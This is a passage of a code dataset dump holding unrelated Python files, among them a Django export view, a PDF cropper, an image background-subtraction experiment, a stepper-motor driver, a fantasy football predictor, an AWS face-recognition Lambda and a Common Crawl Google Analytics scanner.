IsAccessDeleteProduct,\n ]\n serializer_class = ProductSerializer\n\n search_fields = [\n 'numcode',\n 'name',\n 'user__username',\n 'user__email',\n 'cogs',\n 'price',\n ]\n\n filterset_class = ProductFilter\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\n @action(methods=['POST', 'GET'], detail=False)\n def export_csv(self, request, pk=None):\n response = HttpResponse(content_type='application/csv')\n response['Content-Disposition'] = 'attachment; filename=somefilename.csv'\n queryset = self.filter_queryset(self.get_queryset().filter(is_init=False))\n\n header = [\n 'Nomer Produk',\n 'Nama Produk',\n 'Harga Beli',\n 'Harga Jual',\n 'Stok'\n ]\n\n csv = TOCSV(header, [[\n obj.numcode,\n obj.name,\n obj.cogs,\n obj.price,\n obj.stock,\n ] for obj in queryset], response)\n\n return csv.build()\n\n @action(methods=['POST', 'GET'], detail=False)\n def export_pdf(self, request, pk=None):\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=somefilename.pdf'\n queryset = self.filter_queryset(self.get_queryset().filter(is_init=False))\n\n pdf = TOPDF(response, 'Laporan Produk', None)\n pdf.set_table_detail([\n pdf.set_subject('Laporan Produk'),\n pdf.set_periode(request),\n pdf.set_user(request),\n pdf.set_date_created()\n ])\n pdf.set_break()\n\n temp = []\n number = 1\n header = [\n '#',\n 'Nomer Produk',\n 'Nama Produk',\n 'Harga Beli',\n 'Harga Jual',\n 'Stok'\n ]\n\n for obj in queryset:\n temp.append([\n number,\n obj.numcode,\n obj.name,\n obj.cogs,\n obj.price,\n obj.stock,\n ])\n number += 1\n\n pdf.set_table(header, temp, 'LEFT', None)\n return pdf.build()\n","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"630570219","text":"from PyPDF2 import PdfFileWriter, PdfFileReader\r\nimport sys\r\n\r\nif(len(sys.argv)==2):\r\n\r\n filename=sys.argv[1]\r\n print(\"\\n\\n\\nConverting \"+filename+\" file into normal PDF....\")\r\n with open(filename, \"rb\") as in_f:\r\n input1 = PdfFileReader(in_f)\r\n output = PdfFileWriter()\r\n\r\n numPages = input1.getNumPages()\r\n print (\"\\n\\nDocument has %s pages.\" % numPages)\r\n\r\n for i in range(numPages):\r\n\r\n input1 = PdfFileReader(in_f)\r\n page1 = input1.getPage(i)\r\n page1.cropBox.lowerLeft = (63, 545)\r\n page1.cropBox.upperRight = (289, 715) # 1\r\n output.addPage(page1)\r\n\r\n input1 = PdfFileReader(in_f)\r\n page2 = input1.getPage(i)\r\n page2.cropBox.lowerLeft = (63, 335)\r\n page2.cropBox.upperRight = (289, 507) # 2\r\n output.addPage(page2)\r\n\r\n input1 = PdfFileReader(in_f)\r\n page3 = input1.getPage(i)\r\n page3.cropBox.lowerLeft = (63, 125)\r\n page3.cropBox.upperRight = (289, 300) #3\r\n output.addPage(page3)\r\n\r\n input1 = PdfFileReader(in_f)\r\n page4 = input1.getPage(i)\r\n page4.cropBox.lowerLeft = (305, 545)\r\n page4.cropBox.upperRight = (532, 715) # 4\r\n output.addPage(page4)\r\n\r\n input1 = PdfFileReader(in_f)\r\n page5 = input1.getPage(i)\r\n page5.cropBox.lowerLeft = (305, 334)\r\n page5.cropBox.upperRight = (532, 509) # 5\r\n output.addPage(page5)\r\n\r\n input1 = PdfFileReader(in_f)\r\n page6 = input1.getPage(i)\r\n page6.cropBox.lowerLeft = (305, 125)\r\n page6.cropBox.upperRight = (532, 300) # 6\r\n output.addPage(page6)\r\n\r\n newfilename=filename[:-13]+\".pdf\"\r\n with open(newfilename, \"wb\") as out_f:\r\n output.write(out_f)\r\n totalPages=6*numPages\r\n print(\"\\n\\n\\nConversion Sucessful...\\n\\n\\n New Filename : \"+newfilename+\"\\n\\n New Document has \"+str(totalPages)+\" Pages\")\r\n\r\nelse:\r\n print(\"Invalid number of arguments, pl enter the filename.pdf as an argument\")","sub_path":"PDF_Convert.py","file_name":"PDF_Convert.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"456263962","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport datetime\nimport csv\n\nRELATIVE_DESTINATION_PATH = str(datetime.date.today()) + '_result/'\ntotal_error_array = np.zeros(0)\nerror_array = np.zeros(0)\nspeed_array = np.zeros(0)\ntime_array = np.zeros(0)\ndis_array = np.zeros(0)\n\nwith open(RELATIVE_DESTINATION_PATH + \"results.csv\", \"r\") as csvFile:\n reader = csv.reader(csvFile)\n rows = [row for row in reader]\n\nfor n in range(1, len(rows)):\n time_array = np.append(time_array, float(rows[n][1]))\n dis_array = np.append(dis_array, float(rows[n][2]))\n error_array = np.append(error_array, float(rows[n][6]))\n speed_array = np.append(speed_array, float(rows[n][3]))\n total_error_array = np.append(total_error_array, float(rows[n][7]))\n\n\n# plot the total error\nsave_path = 'image/Otsu_'\nplt.plot(time_array[1::], total_error_array[1::])\nplt.xlabel('Time(s)')\nplt.ylabel('Total error')\nplt.title('Total error plot of the Otsu method')\nplt.savefig(save_path+'totalError')\nplt.show()\n# plot the error\nplt.plot(time_array[1::], error_array[1::])\nplt.xlabel('Time(s)')\nplt.ylabel('Error')\nplt.title('Error plot of the Otsu method')\nplt.savefig(save_path+'error')\nplt.show()\nplt.plot(time_array[1::], speed_array[1::])\nplt.xlabel('Time(s)')\nplt.ylabel('Speed(unit/s)')\nplt.title('Speed plot of the Otsu method')\nplt.savefig(save_path+'speed')\nplt.show()\nplt.plot(time_array[1::], dis_array[1::])\nplt.xlabel('Time(s)')\nplt.ylabel('Distance(unit)')\nplt.title('Distance plot of the Otsu method')\nplt.savefig(save_path+'distance')\nplt.show()\n","sub_path":"result_plot.py","file_name":"result_plot.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"113991643","text":"import cv2\nimport glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import roc_curve\n\ndef sliding_window(image, stepSize):\n # slide a window across the image\n for x in range(0+2, image.shape[0]-2, stepSize):\n for y in range(0+2, image.shape[1]-2, stepSize):\n # yield the current window\n yield (x, y, image[x - 2:x + 3, y - 2:y + 3])\n\n\ndef denoise(Ct, m):\n winH = winW = m\n vCt = Ct.copy()\n t = np.zeros((2, Ct.shape[1]))\n t2 = np.zeros((Ct.shape[0] + 4, 2))\n Ct = np.vstack((t, Ct, t))\n Ct = np.column_stack((t2, Ct, t2))\n\n for (x, y, window) in sliding_window(Ct, stepSize=1):\n # if the window does not meet our desired window size, ignore it\n if window.shape[0] != winH or window.shape[1] != winW:\n continue\n x -= 2\n y -= 2\n\n if np.count_nonzero(window == 1) / 25 >= nv:\n vCt[x, y] = 1\n else:\n vCt[x, y] = 0\n return vCt\n\n\ndef get_foreground(img_file, Mt, Vt, lam):\n img = np.array(cv2.imread(img_file), dtype=float)\n Dt = img - Mt\n result = (np.array(Dt ** 2 <= lam ** 2 * Vt).astype(int))\n Ct = np.zeros((result.shape[0], result.shape[1]))\n for i in range(0, result.shape[0]):\n for j in range(0, result.shape[1]):\n if not (result[i, j] == [1, 1, 1]).all():\n Ct[i, j] = 1\n vCt = denoise(Ct, 5)\n return vCt\n\n# AirstripRunAroundFeb2006_1436(1).bmp,1437(1),1438(1),1439(1) these are duplicates delete it first from Images Folder\n\nImage_files = glob.glob(\"/home/akshay/PycharmProjects/ML_assignment2/Images-20200603T173020Z-001/Images/*.bmp\")\nImage_files.sort()\nBackground_files = glob.glob('/home/akshay/PycharmProjects/ML_assignment2/BakSubGroundTruth-20200603T172937Z-001/BakSubGroundTruth/*.bmp')\nBackground_files.sort()\n\n# initialization\nlam = 1\nlam_list = [0.5, 1, 2, 3, 4, 5, 6, 7]\nnv = 0.6\ntc = 0.01\nvd = 9\nm = 5\n\ntraining_size=200 # take 500 for whole image sequence\ntest_sample_size=50\ntest_samples=np.random.randint(0,501,test_sample_size)\nplt.figure(\"ROC Curve\")\nprint(\"Running\")\nx_a=[]\ny_a=[]\n\nclass_lables = []\nclass_lables = np.array(class_lables, dtype=int)\nfor f in test_samples:\n temp_arr = np.array(cv2.imread(Background_files[f])).ravel()[0::3]\n temp_arr[temp_arr > 0] = 1\n class_lables = np.concatenate(\n (class_lables, temp_arr),\n axis=None)\n\nfor lam in lam_list:\n im = cv2.imread(Image_files[0]) # First Image taken for initialization\n img = np.array(im, dtype=float)\n va = [vd, vd, vd]\n Vt = np.zeros(img.shape)\n Vt[:, :] = va\n Mt = img.copy()\n Mt = np.array(Mt, dtype=float)\n\n t = 1\n print(\"\\nTraining Model For lambda = \",lam)\n for img_file in Image_files[1:training_size+1]: # 1st image is already processed\n print(\"Image Processed: \",t)\n img = np.array(cv2.imread(img_file), dtype=float)\n Dt = img - Mt\n result = (np.array(Dt ** 2 <= lam ** 2 * Vt).astype(int))\n Ct = np.zeros((result.shape[0], result.shape[1]))\n for i in range(0, result.shape[0]):\n for j in range(0, result.shape[1]):\n if (result[i, j] == [1, 1, 1]).all():\n Ct[i, j] = 0\n else:\n Ct[i, j] = 1\n\n vCt = denoise(Ct, m)\n alphat = lambda t: 1 / t if (1 / t) >= tc else tc\n t += 1\n del_vCt = np.zeros(Dt.shape)\n del_vCt_f = del_vCt.copy()\n for i in range(0, del_vCt.shape[0]):\n for j in range(0, del_vCt.shape[1]):\n if vCt[i, j] == 1:\n del_vCt[i, j] = [0, 0, 0]\n del_vCt_f[i, j] = [1, 1, 1]\n else:\n del_vCt[i, j] = [1, 1, 1]\n del_vCt_f[i, j] = [0, 0, 0]\n\n Mt = Mt + del_vCt * alphat(t) * Dt\n Vt = del_vCt_f * Vt + del_vCt * ((1 - alphat(t)) * (Vt + alphat(t) * Dt ** 2))\n\n\n pred_output = []\n pred_output = np.array(pred_output, dtype=int)\n\n print(\"\\nProcessing Test Samples\")\n\n for f in test_samples:\n print(\".\",end=\"\")\n pred_output = np.concatenate(\n (pred_output, np.array(get_foreground(Image_files[f], Mt, Vt, lam), dtype=int) ), axis=None)\n fpr, tpr, _ = roc_curve(class_lables, pred_output, drop_intermediate=False)\n x_a.append(fpr[1])\n y_a.append(tpr[1])\n plt.plot(fpr[1], tpr[1],\"s\", label=str(lam))\n print(\"\")\n\nprint(\"\\nCheck ROC Curve\")\nplt.legend(title=\"lambda\")\nplt.plot(x_a,y_a,\"k--\",linewidth=1)\nplt.xlabel(\"False Alarm Rate\")\nplt.ylabel(\"Sensitivity\")\nplt.show()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"186901444","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nControl stepper motor\n\nPosition of switches:\n+---+--------+--------+\n|on | | 3456 |\n|off| | |\n+---+-----------------+\n\nPositive values rotate clockwise\nNegative values rotate counterclockwise\n\"\"\"\n\nimport time\nimport RPi.GPIO as GPIO\nimport math\n\nclass Stepmotor:\n\n def __init__(self):\n # set GPIO modus\n GPIO.setmode(GPIO.BOARD)\n\n # Pins connected to stepmotor\n self.pins = (29, 31, 33 ,35)\n self.interval = 0.002\n\n # Define pins as output and set default value\n for pin in self.pins:\n GPIO.setup(pin, GPIO.OUT)\n\n self.Step_reset()\n\n def Step_reset(self):\n for pin in self.pins:\n GPIO.output(pin, False)\n\n def Step(self, direction):\n nr_of_steps = 8\n if direction < 0:\n start = 0\n stop = nr_of_steps\n steps = 1\n else:\n start = nr_of_steps - 1\n stop = -1\n steps = -1\n\n for step in range(start, stop, steps):\n m1 = int(step / 2)\n m2 = m1\n if step % 2:\n m2 = m1 + 1\n if m2 > 3:\n m2 = 0\n GPIO.output(self.pins[m1], True)\n GPIO.output(self.pins[m2], True)\n time.sleep(self.interval)\n self.Step_reset()\n\n def turn(self,count):\n for loop in range(abs(int(count))):\n self.Step(count)\n\n def close(self):\n # Release GPIO\n GPIO.cleanup()\n\n def turnDegrees(self, count):\n # Rotate n degees\n self.turn(round(count*512/360,0))\n\n def turnDistance(self, dist, rad):\n # Rotate to travel x distance\n self.turn(round(512*dist/(2*math.pi*rad),0))\n\ndef main():\n motor = Stepmotor()\n\n print('Do 512 steps')\n motor.turn(512)\n\n print('Do -400 steps')\n motor.turn(-400)\n\n print(\"Turn 90 degrees\")\n motor.turnDegrees(90)\n\n print(\"Turn -90 degerees\")\n motor.turnDegrees(-90)\n\n print(\"Stop\")\n motor.close()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"lessons/lesson_5_12.py","file_name":"lesson_5_12.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"504671018","text":"'''Fantasy Football Predictor - Python - v2_1\n\n By: Matthew Joseph Kinnison (mkinnisonj@gmail.com)\n\n Runs calculus based 'random' simulations of all the possible results of a\n given season and outputs the results in a format easily usable for owner\n decision making.\n'''\n\n# ***** Imported Modules ***** #\nimport numpy as np\nimport math\nimport csv\nimport os.path\nfrom statistics import mean\nfrom statistics import stdev\nfrom matplotlib.mlab import normpdf\nfrom scipy.integrate import cumtrapz\n\nfidelity = 10000\n\n# ***** Helper Functions ***** #\ndef m_round(num):\n '''rounds num to exactly 2 digits\n in: num: float (not rounded)\n out: float (rounded to 2 digits)\n '''\n return float('%.2f' % num)\n\ndef dict_map(func, dict_, *args):\n '''maps every value in a dictionary through the function described in func.\n Only certain functions allowed for security.\n in: func: string containing a valid function name\n dict_: dictionary to have each value mapped to this function\n out: dictionary with all func applies to all values and reassigned to\n keys.\n '''\n allowed = ['m_round','make_curve','sum','mean','stdev']\n if func in allowed:\n return {key: eval(func)(dict_[key]) for key in dict_.keys()}\n elif func == 'add':\n return {key: dict_[key] + args[0][key] for key in dict_.keys()}\n elif func == 'np.mean':\n return {key: np.mean(dict_[key],axis=0) for key in dict_.keys()}\n elif func == 'np.std':\n return {key: np.std(dict_[key],axis=0) for key in dict_.keys()}\n elif func == 'mult':\n return {key: dict_[key]*args[0] for key in dict_.keys()}\n else:\n raise ValueError('invalid function. Allowed functions are {}.'.format(allowed))\n\ndef re_key(dict_,new_keys):\n '''makes a new dictionay using the values assigned to each key in new_keys\n as the new keys with the same values as the old dictionary.\n in: dict_: dictionary to be re-keyed\n new_keys: dictionary mapping old keys to new keys\n out: dictornary with new keys and onld values\n '''\n return {new_keys[key]: dict_[key] for key in dict_.keys()}\n\ndef test_plot(curves):\n '''\n '''\n import matplotlib.pyplot as plt\n total = np.zeros(fidelity)\n for team in curves.keys():\n plt.plot(curves[team][0],curves[team][1],'k-')\n total = total + curves[team][1]\n plt.plot(curves[team][0],total,'g-')\n\n plt.show()\n# ***** CSV Parsers ***** #\ndef parse_schedule(filename):\n '''takes in csv countaining team ids and their opponents ids each week with\n no header. Should be run on dataset only once.\n in: filename: string countaining the full filename of the csv file\n out:schedule: dictionary with a key for each team and a corresponding\n value which is a list countaining that teams schedule\n '''\n if os.path.exists(filename):\n with open(filename) as csvfile:\n reader = csv.reader(csvfile)\n schedule = {row[0]: row[1:] for row in reader}\n\n return schedule\n else:\n raise ValueError('{} not found'.format(filename))\n\ndef parse_scores(filename):\n '''takes in csv containing team ids and their previous points each week with\n no header. Should be run on dataset only once.\n in: filename: string countaining the full filename of the csv file\n out:scores: dictionary with a key for each team and a corresponding array of\n their previous scores (array of floats)\n '''\n if os.path.exists(filename):\n with open(filename) as csvfile:\n reader = csv.reader(csvfile)\n scores = {row[0]: np.array([[float(num) for num in week.split(',')] for week in row[1:]]) for row in reader}\n return scores\n else:\n raise ValueError('{} not found'.format(filename))\n\ndef parse_other(filename):\n '''takes in csv containing team ids and their team name, their previous\n wins, and their previous ties in that order with no header. Should be\n run on dataset only once.\n in: filename: string countaining the full filename of the csv file\n out:ids: dictonary mapping team ids to their names (string)\n wins: dictonary mapping team ids to their adjusted wins\n (wins + ties/2) (int)\n '''\n if os.path.exists(filename):\n with open(filename) as csvfile:\n reader = csv.reader(csvfile)\n other = [list(row) for row in reader]\n\n ids = {row[0]: row[1] for row in other}\n wins = {row[0]: int(row[2]) + int(row[3])/2 for row in other}\n\n return ids, wins\n else:\n raise ValueError('{} not found'.format(filename))\n\n# ***** Table Writer ***** #\ndef write_table(filename, headers, *args):\n '''writes various odds to csv for easy visualization and application of\n conditional formating.\n in: filename: string countaining the full filename of the csv file\n headers: list of the headers for each of the inputed dictionaries\n *args: dictonaries with keys containing all the teams mapped to the\n desired output\n '''\n with open(filename,'w',newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['Teams'] + headers)\n for key in args[0].keys():\n writer.writerow([key] + [arg[key] for arg in args])\n\n# ***** Matchups Logic ***** #\ndef get_p(mu,sigma):\n '''\n '''\n scores = np.linspace(mu-3.5*sigma,mu+3.5*sigma,1000)\n probs = normpdf(scores,mu,sigma)\n mask = np.where(scores >= 0)\n\n return np.trapz(probs[mask],x=scores[mask])\n\ndef new_odds(means,st_dev):\n '''\n '''\n teams = means.keys()\n probs = {team: {opp: [get_p(means[team][ndx]-means[opp][ndx],np.sqrt(st_dev[team][ndx]**2+st_dev[opp][ndx]**2)) for ndx in range(10)] for opp in teams if opp != team} for team in teams}\n for team in teams:\n for opp in probs[team].keys():\n probs[team][opp][8] = 1 - probs[team][opp][8]\n probs[team][opp][9] = 1 - probs[team][opp][9]\n probs = {team: {opp: np.sum(np.array([[probs[team][opp][ndx],probs[team][opp][ndx]*probs[opp][team][ndx]] for ndx in range(10)]),axis=0) for opp in teams if opp != team} for team in teams}\n for team in probs.keys():\n probs[team][''] = np.zeros(2)\n return probs\n\ndef avg_prob(scores,means,st_devs):\n '''makes a dictionary comparing each team to their average opponent.\n in: scores: dictornary with team names as keys and arrays of previous\n scores as values\n out: dictionary containing floats representing probability\n '''\n raw = np.concatenate(list(scores.values()))\n mu = mean(raw)\n sigma = stdev(raw)\n probs = {team: get_p(mu-means[team],np.sqrt(sigma**2+st_dev[team]**2)) for team in teams}\n probs[''] = 0\n\n return probs\n\n# ***** Using Schedule ***** #\ndef str_of_sch(schedule,avgs,*args):\n '''makes a dictionary of expected wins.\n in: schedule: dictionary with a key for each team and a corresponding\n value which is a list countaining that teams schedule\n avgs: dictionary containing floats representing the probability of\n team beating average opponent\n args[0]: positive int representing the number of weeks left in the\n season --OR-- negative int representing weeks left in the season\n out: dictionary with a key for each team and a corresponding value which\n is the teams expected wins above average over the specified period\n '''\n if len(args) and args[0] > 0:\n return {team: m_round(sum([avgs[opp] for opp in schedule[team][-1*args[0]:]])-len(list(filter(None,schedule[team][-1*args[0]:])))/2) for team in schedule.keys()}\n elif len(args) and args[0] < 0:\n return {team: m_round(sum([avgs[opp] for opp in schedule[team][:args[0]]])-len(list(filter(None,schedule[team][-1*args[0]:])))/2) for team in schedule.keys()}\n else:\n return {team: m_round(sum([avgs[opp] for opp in schedule[team]])-len(list(filter(None,schedule[team])))/2) for team in schedule.keys()}\n\ndef predict_record(schedule,hth,*args):\n '''\n '''\n if len(args) and args[0] > 0:\n return {team: np.sum([hth[team][opp] for opp in schedule[team][-1*args[0]:]],axis=0) for team in schedule.keys()}\n elif len(args) and args[0] < 0:\n return {team: np.sum([hth[team][opp] for opp in schedule[team][:args[0]]],axis=0) for team in schedule.keys()}\n else:\n return {team: np.sum([hth[team][opp] for opp in schedule[team]],axis=0) for team in schedule.keys()}\n\ndef make_record_curves(records,wins,schedule):\n '''\n '''\n sigma = {team: math.sqrt(records[team][1]) for team in records.keys()}\n mu = {team: wins[team]+records[team][0] for team in records.keys()}\n\n # Normalize to a percent\n mu = {team: mu[team]/(10*len(list(filter(None,schedule[team])))) for team in mu.keys()}\n sigma = {team: sigma[team]/(10*len(list(filter(None,schedule[team])))) for team in mu.keys()}\n\n return {team: (np.linspace(1,0,fidelity),normpdf(np.linspace(1,0,fidelity),mu[team],sigma[team])) for team in records.keys()}\n\n# ***** Getting odds from records ***** #\ndef find_cutoffs(pdfs):\n '''\n '''\n all_curves = np.zeros(fidelity)\n for pdf in pdfs.values():\n all_curves = np.add(all_curves,pdf[1])\n\n return cumtrapz(all_curves,dx=1/fidelity)\n\ndef find_top(cdf,pdfs,top):\n '''\n '''\n mask = np.where(cdf <= top)\n return {team: np.trapz(pdfs[team][1][mask],dx=1/fidelity) for team in pdfs.keys()}\n\ndef find_seed(cdf,pdfs,seed):\n '''\n '''\n mask1 = np.where(cdf <= seed)\n mask2 = np.where(cdf >= seed-1)\n mask = np.intersect1d(mask1[0],mask2[0])\n return {team: np.trapz(pdfs[team][1][mask],dx=1/fidelity) for team in pdfs.keys()}\n\ndef seeding(num_teams):\n full_brack = []\n brack = [[1]]\n for seed in range(2,num_teams+1):\n #split\n unpaired = [game for game in brack if len(game) == 1]\n if len(unpaired) == 0:\n full_brack.append(brack)\n new_brack = []\n for game in brack:\n new_brack.append([game[0]])\n new_brack.append([game[1]])\n brack = new_brack\n unpaired = brack\n #insert\n in_game = max(unpaired)\n brack = [game if game != in_game else [in_game[0],seed] for game in brack]\n full_brack.append(brack)\n full_brack.reverse()\n\n return full_brack\n\ndef playoffs(num_teams,hth,cdf,pdfs):\n '''\n '''\n brack = seeding(num_teams)\n contenders = {seed: find_seed(cdf,pdfs,seed) for seed in range(1,num_teams+1)}\n teams = hth.keys()\n for round_ in brack:\n new_cont = {}\n for game in round_:\n if len(game) == 1:\n winners = contenders[game[0]]\n else:\n team1 = contenders[game[0]]\n team2 = contenders[game[1]]\n win1 = {team: team1[team]*sum([team2[opp]*hth[team][opp][0] for opp in teams if opp != team]) for team in teams}\n win2 = {team: team2[team]*sum([team1[opp]*hth[team][opp][0] for opp in teams if opp != team]) for team in teams}\n winners = dict_map('add',win1,win2)\n adj = 1/sum(winners.values())\n winners = dict_map('mult',winners,adj)\n new_cont[game[0]] = winners\n contenders = new_cont\n return contenders\n\n\ndef _538_table(sch_csv, scr_csv, oth_csv,plots=False):\n '''\n '''\n scores = parse_scores(scr_csv)\n schedule = parse_schedule(sch_csv)\n ids, wins= parse_other(oth_csv)\n means = dict_map('np.mean',scores)\n stdevs = dict_map('np.std',scores)\n hth = new_odds(means,stdevs)\n weeks_left = len(list(schedule.values())[0])-len(list(scores.values())[0])\n if weeks_left:\n record = predict_record(schedule,hth,weeks_left)\n record_curves = make_record_curves(record,wins,schedule)\n if plots:\n test_plot(record_curves)\n\n cdf = find_cutoffs(record_curves)\n playoff = find_top(cdf,record_curves,6)\n bye = find_top(cdf,record_curves,2)\n first = playoffs(6,hth,cdf,record_curves)\n else:\n print('Work in progress')\n write_table('BBOdds.csv',['playoffs','first round bye','champion'],playoff, bye, first[1])\n\ndef pure_chance(sch_csv, scr_csv, oth_csv):\n '''\n '''\n scores = parse_scores(scr_csv)\n schedule = parse_schedule(sch_csv)\n ids, wins= parse_other(oth_csv)\n teams = ids.keys()\n hth = {team: {opp: np.array([5, 2.5]) for opp in teams if opp != team} for team in teams}\n weeks_left = len(list(schedule.values())[0])-len(list(scores.values())[0])\n if weeks_left:\n record = predict_record(schedule,hth,weeks_left)\n record_curves = make_record_curves(record,wins,schedule)\n cdf = find_cutoffs(record_curves)\n\n test_plot(record_curves)\n\n playoff = find_top(cdf,record_curves,6)\n first = playoffs(6,hth,cdf,record_curves)\n\n print(playoff,first[1])\n\ndef _achievers(schedule, hth, wins, scores):\n '''\n '''\n means = dict_map('np.mean',scores)\n stdevs = dict_map('np.std',scores)\n record = predict_record(schedule,hth,len(list(scores.values())[0])-len(list(schedule.values())[0]))\n return {team: m_round(wins[team]-sum(record[team])) for team in wins.keys()}\n\ndef main(sch_csv, scr_csv, oth_csv):\n scores = parse_scores(scr_csv)\n schedule = parse_schedule(sch_csv)\n ids, wins= parse_other(oth_csv)\n hth = new_odds(scores)\n record = predict_record(schedule,hth,len(list(schedule.values())[0])-len(list(scores.values())[0]))\n record_curves = make_record_curves(record,wins,schedule)\n cdf = find_cutoffs(record_curves)\n means = dict_map('mean',scores)\n stdevs = dict_map('np.std',scores)\n\nif __name__==\"__main__\":\n import sys\n main(sys.argv)","sub_path":"old/FBv0_1.py","file_name":"FBv0_1.py","file_ext":"py","file_size_in_byte":13837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"150685361","text":"'''Copyright (C) <2013> \n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n'''\n\nimport sys\n\nfrom TW import *;\n\ndef leaf():\n '''draws a 0x1x1 diamond shape that is green like a leaf. It is a plane that rests on the y axis and goes along the x. The origin is at the left bottom corner'''\n #leaves are green and a diamond shape\n glBegin(GL_QUADS)\n glColor3f(0.4,0.5,0)\n glVertex3d(0.0,0.0,0.0)\n glVertex3d(1.0,1.0,0.0)\n glVertex3d(2.0,0.0,0.0)\n glVertex3d(1.0,-1.0,0.0)\n glNormal(0,0,1)\n glEnd();\n\n#takes a length, base width, angle of branches, shrink rates, and a minimum length\n '''Draws a tree that is always brown (for now)\nThe tree is defined by the length -- length parameter is the height,\nOrigin is at the center of the base. The tree points down the z-axis.'''\ndef tree(length, width, angle, shrinkL, shrinkW, mini):\n glColor3f(0.4,0.3,0) #tree is constantly brown\n if length maxSimilarity): \n\t\t\tfaceId = match['Face']['FaceId']\n\t\t\tpersonData = table.get_item(Key={'RekognitionId': faceId })\n\t\tprintMatchData(personData, faceId, match)\n\treturn personData \n\n\ndef storeResponseInBucket(bucket, fileName, recognizedPersonData, recognizedPersonName):\n\tfileName = fileName.split(\"/\")\n\tkey = 'events/'+ fileName[1] + \"/\" + fileName[2].split(\".\")[0] + \"-\" + recognizedPersonName + \".json\"\n\tprint(\"KEY: \" + key)\n\ts3Client.put_object(Body = str(json.dumps(recognizedPersonData)), Bucket = bucket, Key = key)\n\ndef lambda_handler(event, context):\n\t# Get the object from the event\n\tbucket = event['Records'][0]['s3']['bucket']['name']\n\tkey = urllib.unquote_plus(event['Records'][0]['s3']['object']['key'].encode('utf8'))\n\n\t# Get object from s3\n\tret = s3Client.head_object(Bucket=bucket, Key=key)\n\tcollectionId = ret['Metadata']['username'].replace(\"@\", \"-\")\n\n\tprint(key, collectionId)\n\trekognitionResponse = analyzeImage(bucket, collectionId, key, 1, 70)\n\trecognizedPersonData = getRecognizedPersonData(rekognitionResponse) \n\trecognizedPersonName = recognizedPersonData['Item']['FullName']\n\tstoreResponseInBucket(bucket, key, recognizedPersonData, recognizedPersonName)\n\n\n","sub_path":"vs-face-recognition-service/facesAnalyzer.py","file_name":"facesAnalyzer.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"459219205","text":"\n# coding: utf-8\n# from itertools import islice\nimport re\nimport json\nimport os\nimport sys\n\nimport boto\nimport warc\n\nfrom boto.s3.key import Key\nfrom gzipstream import GzipStreamFile\n\n\ndef find_ga(data):\n \"\"\"\n Regular expression to extract Google Analytics ids from HTML source code\n \"\"\"\n re_googleanalytics = re.compile(\"UA-\\d*-\\d*\")\n res = re_googleanalytics.findall(data)\n return res\n\n\ndef find_css(url, data):\n \"\"\"\n Regular expression to extract CSS URLs from HTML source code\n \"\"\"\n re_css1 = re.compile(\"href.*\\.css\")\n res1 = re_css1.findall(data)\n re_css2 = re.compile(\"http.*\\.css\")\n css = []\n for i in res1:\n res2 = re_css2.findall(i)\n if res2:\n j = re.sub('href=\"', \"\", i)\n css_url = url + j\n css.append(css_url)\n else:\n css.append(i)\n return css\n\n\ndef get_warc_keys(bucket, warcpaths):\n \"\"\"\n Get all WARC paths, connect to S3, and get the S3 keys for each WARC file\n \"\"\"\n wpath = open(warcpaths, 'rU')\n conn = boto.connect_s3(anon=True)\n pds = conn.get_bucket(bucket)\n keys = []\n for i in wpath:\n filepath = re.sub(\"\\\\n\", \"\", i)\n k = Key(pds, filepath)\n keys.append(k)\n return keys\n\n\ndef collect_data(key):\n \"\"\"\n Unzip WARC file, extract Google Analytics ids from HTML source code, store in dictionary based on the source URL\n\n Side note: if you want to deal with a subset of the WARC file, use islice from itertools\n \"\"\"\n # N = 10000\n f = warc.WARCFile(fileobj=GzipStreamFile(key))\n google_analytics = {}\n # for record in islice(f, N):\n for record in f:\n if record['Content-Type'] == 'application/http; msgtype=response':\n payload = record.payload.read()\n headers, body = payload.split('\\r\\n\\r\\n', 1)\n if 'Content-Type: text/html' in headers:\n analytics = find_ga(payload)\n if analytics:\n google_analytics[record.url] = find_ga(payload)\n return google_analytics\n\n\nif __name__ == '__main__':\n BUCKET_NAME = sys.argv[1]\n AWS_ACCESS_KEY_ID = sys.argv[2]\n AWS_SECRET_ACCESS_KEY = sys.argv[3]\n HOST = sys.argv[4]\n \"\"\"\n Go!\n \"\"\"\n s3_connection = boto.connect_s3(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, host=HOST)\n keyz = get_warc_keys('aws-publicdatasets', os.getcwd() + '/warc.paths')\n for i, k in enumerate(keyz):\n print(i, \"with\", len(keyz)-i, \"remaining\")\n data = json.dumps(collect_data(k))\n bucket = s3_connection.get_bucket(BUCKET_NAME)\n my_s3_key = boto.s3.key.Key(bucket, k.key + \".json\")\n my_s3_key.set_contents_from_string(data)\n print(\"And that's all 